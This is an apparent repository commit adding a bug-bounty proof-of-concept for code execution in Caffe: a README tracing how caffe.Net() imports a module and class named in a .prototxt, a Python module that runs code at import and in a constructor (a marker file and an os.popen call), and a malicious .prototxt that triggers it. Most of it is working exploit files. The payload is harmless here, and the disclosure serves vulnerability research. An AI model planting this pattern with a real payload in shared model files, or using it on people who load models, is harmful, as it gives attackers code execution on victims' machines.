mscgo77 commited on
Commit
6cdba59
·
1 Parent(s): e3f35e4

Add Caffe Python layer RCE PoC

Browse files
Files changed (3) hide show
  1. README.md +38 -0
  2. evil_layer.py +40 -0
  3. malicious_deploy.prototxt +18 -0
README.md ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: unknown
3
+ tags:
4
+ - security
5
+ - poc
6
+ - huntr
7
+ ---
8
+
9
+ # Caffe `.prototxt` Python layer → RCE PoC
10
+
11
+ `malicious_deploy.prototxt` declares a layer with `type: "Python"` and
12
+ `python_param { module: "evil_layer" layer: "Pwn" }`.
13
+
14
+ `GetPythonLayer()` (`src/caffe/layer_factory.cpp:290-301`) — called from
15
+ `LayerRegistry::CreateLayer()` whenever `caffe.Net(prototxt, weights, phase)`
16
+ loads a `.prototxt` — takes those two strings straight from the attacker's
17
+ `.prototxt` with zero validation:
18
+
19
+ ```cpp
20
+ bp::object module = bp::import(param.python_param().module().c_str());
21
+ bp::object layer = module.attr(param.python_param().layer().c_str())(param);
22
+ ```
23
+
24
+ `bp::import(module)` imports an arbitrary Python module by name (running its
25
+ top-level code immediately), then instantiates an arbitrary class from it by
26
+ name. `evil_layer.py` (also in this repo) is the companion module that must
27
+ be importable (on `PYTHONPATH`/cwd) when the victim loads this `.prototxt` —
28
+ exactly the normal distribution pattern for Caffe models that ship custom
29
+ Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
30
+
31
+ `BUILD_python_layer` is CMake's **default-ON** build option
32
+ (`CMakeLists.txt:38`).
33
+
34
+ Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
35
+ module-level code and the `Pwn` class constructor.
36
+
37
+ Reported to huntr.com as a Model File Vulnerability (MFV) submission
38
+ ("Caffe" format).
evil_layer.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Attacker-supplied Python layer module.
3
+
4
+ In a real attack, this file ships alongside the .prototxt/.caffemodel
5
+ (this is a normal, documented distribution pattern for Caffe models that
6
+ use custom Python layers -- e.g. py-faster-rcnn's rpn/proposal_layer.py,
7
+ SSD's multibox loss helpers, etc. Users are told to add the model repo
8
+ to PYTHONPATH before running caffe.Net(...)).
9
+
10
+ Both blocks below execute with ZERO involvement of caffe.Net()'s API
11
+ surface other than the module/layer name strings taken verbatim from
12
+ the .prototxt python_param field.
13
+ """
14
+ import os
15
+ import datetime
16
+
17
+ MARKER = os.path.expanduser("~/bugbounty_results/caffe-mfv/poc/PWNED_MARKER.txt")
18
+
19
+ # 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
20
+ # before the "layer" attribute is even looked up).
21
+ with open(MARKER, "a") as f:
22
+ f.write(f"[{datetime.datetime.now()}] evil_layer.py MODULE IMPORTED "
23
+ f"(triggered by python_param.module string from attacker prototxt)\n")
24
+ f.write(f" -> proof: os.getpid()={os.getpid()}, os.getcwd()={os.getcwd()}\n")
25
+
26
+
27
+ class Pwn(object):
28
+ """
29
+ Attacker-controlled class named by python_param.layer ("Pwn").
30
+ Caffe calls: module.attr(layer)(param) == Pwn(layer_param)
31
+ Constructor code below runs unconditionally as part of layer creation.
32
+ """
33
+ def __init__(self, layer_param):
34
+ with open(MARKER, "a") as f:
35
+ f.write(f"[{datetime.datetime.now()}] Pwn.__init__ EXECUTED "
36
+ f"(triggered by python_param.layer string from attacker prototxt)\n")
37
+ f.write(f" -> received layer_param.name={layer_param.name!r}, "
38
+ f"type={layer_param.type!r}\n")
39
+ f.write(" -> arbitrary command execution demo: "
40
+ + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
malicious_deploy.prototxt ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ name: "PwnNet"
2
+ layer {
3
+ name: "data"
4
+ type: "Input"
5
+ top: "data"
6
+ input_param { shape { dim: 1 dim: 3 dim: 224 dim: 224 } }
7
+ }
8
+ layer {
9
+ name: "backdoor"
10
+ type: "Python"
11
+ bottom: "data"
12
+ top: "backdoor"
13
+ python_param {
14
+ module: "evil_layer"
15
+ layer: "Pwn"
16
+ param_str: "malicious param_str payload"
17
+ }
18
+ }